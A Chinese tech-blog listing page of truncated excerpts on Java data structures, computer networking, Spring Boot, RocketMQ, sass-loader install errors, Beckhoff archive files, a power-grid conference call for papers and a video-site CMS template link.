&#x1f495;"世事犹如书籍&#xff0c;一页页被翻过去。人要向前看&#xff0c;少翻历史旧账。"&#x1f495; 作者&#xff1a;Mylvzi 文章主要内容&#xff1a;数据结构之顺序表的模拟实现 /*** Created with IntelliJ IDEA.* Description:* User: 绿字* Date:…

【EI会议征稿通知】第四届电网系统与绿色能源国际学术会议(PGSGE 2024)

JPCS独立出版-第四届电网系统与绿色能源国际学术会议&#xff08;PGSGE 2024&#xff09; 2024 4th International Conference on Power Grid Systems and Green Energy 2024年第四届电网系统与绿色能源国际学术会议(PGSGE 2024) 将于2024年01月05-07日在中国厦门召开。本次会…

【计算机网络】第一章——概述

个人主页直达&#xff1a;小白不是程序媛 系列专栏&#xff1a;计算机网络基础 目录 前言 计算机网络概述 概念 功能 组成 分类 标准化工作 性能指标 速率 带宽 吞吐量 时延 时延带宽积 往返时延RTT 利用率 分层 为什么要分层&#xff1f; 分层的基本原则&am…

【Java实战】创建第一个Springboot项目Hello world

没有旗舰版的Idea授权&#xff0c;所以安装了社区版的idea。不知道从何时开始&#xff0c;社区版IDEA的插件不好用了&#xff0c;所以就换了个方法生成Springboot项目。 一 在线生成 选择好对应的选项后&#xff0c;点击生成就可以下载到一个完整的springboot项目了。 二 使用…

倍福tnzip,tszip,tpzip文件的打开方式

文章目录 一. tnzip的打开方式二. tszip打开方法三. tpzip打开方法 一. tnzip的打开方式 打开项目&#xff1a;选择菜单栏 FILE&#xff0c;点击 Open Solution from Archive…&#xff0c;在弹出的 对话框中选择保存好的文件&#xff0c;单击打开。选择展开此项目的路径&…

处理sass-loader安装失败

Vue项目中安装node-sass跟sass-loader 我们在开发中,经常会使用sass语法来编写css&#xff0c;在安装node-sass和sass-loader时&#xff0c;经常会出现错误&#xff08;通常是依赖冲突&#xff09;导致安装失败。因为官方发布的版本号并不是连续的&#xff0c;有些版本与版本之…

【RocketMQ系列六】RocketMQ事务消息

您好&#xff0c;我是码农飞哥&#xff08;wei158556&#xff09;&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。 &#x1f4aa;&#x1f3fb; 1. Python基础专栏&#xff0c;基础知识一网打尽&#xff0c;9.9元买不了吃亏&#xff0c;买不了上当。 Python从入门到精…

海洋CMS仿爱美剧影视电影视频网站模版源码/自适应手机端

海洋CMS仿爱美剧网站模板&#xff0c;自适应手机端&#xff0c;内含视频、资讯、留言模块。 下载地址&#xff1a;https://bbs.csdn.net/topics/617419787